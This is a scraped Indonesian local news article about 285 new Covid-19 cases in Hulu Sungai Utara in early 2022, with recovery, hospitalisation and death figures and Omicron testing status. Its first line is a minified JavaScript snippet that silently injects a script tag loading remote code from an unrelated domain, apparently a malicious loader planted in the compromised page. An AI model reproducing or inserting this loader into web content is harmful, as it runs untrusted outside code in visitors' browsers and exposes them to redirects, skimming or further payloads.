(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Di awal tahun 2022 sebanyak 285 kasus positif Covid-19 terkonfirmasi terjadi di Kabupaten Hulu Sungai Utara (HSU).
“Setelah melalui gelombang 1 dan 2 penyebaran covid-19, pada awal tahun 2022 yang dianggap sebagai gelombang ke 3 kita sudah menemukan kasus positif yang baru lagi sebanyak 285 kasus positif Covid-19 yang sebelumnya kita sempat 0 kasus beberapa bulan,” beber Plt Kepala Dinkes HSU, Masbudianto, dalam dialog Interaktif yang digelar Diskominfo HSU di Mess Negara Dipa, Sabtu (19/2/2022) malam.
Ia menjelaskan, dari 285 kasus positif tersebut yang mengalami kesembuhan sekitar 13 orang selesai menjalani isolasi.
“Dari gelombang ke 3 ini 13 orang sudah dinyatakan sembuh dan telah menyelesaikan masa isolasi, sedangkan yang dirawat di Rumah Sakit berjumlah 4 orang serta untuk yang meninggal dunia sebanyak 2 orang,” jelasnya.
Baca juga : Banjarbaru Ibu Kota Kalsel, Wali Kota Ibnu Sina: Itu Usulan Siapa?
Ia juga tidak memungkiri tren positif covid-19 di HSU dikarenakan dampak dari tren positif covid-19 di dunia yang sedang mengalami peningkatan signifikan sehingga berdampak pada kasus positif di daerah-daerah.
“Tidak dipungkiri di global pun saat ini mengalami lonjakan, mulai dari tingkat nasional, provinsi hingga kabupaten atau daerah-daerah, ini terbukti pada akhir Januari tadi kasus positif yang didapati dari hasil tes terhadap orang yang ingin melakukan perjalanan dan ternyata hasilnya positif dan ditambah lagi dari hasil suspect serta setelah dilakukan pelacakan atau tracing yang ternyata tingkat rate positifnya itu hampir 50%,” ujarnya.
Sementara untuk kasus omicron di HSU, pihaknya masih menunggui kepastian sampel yang dikirim oleh Dinkes HSU ke Badan Penelitian dan Pengembangan Kesehatan.
“Tapi kalau kita melihat kasus nasional secara di provinsi pun saat ini sudah banyak yang terdeteksi kasus omicron, berarti kemungkinan yang ada kasus di HSU juga bisa terdeteksi. Namun kita masih menunggul hasil kepastian sampel dari yang kita kirim ke badan penelitian dan pengembangan kesehatan untuk memastikan apakah kasus yang ada di HSU ini omicron atau tidak,” tukasnya. (kanalkalimantan.com/dew)
Reporter : dew
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
This website uses cookies.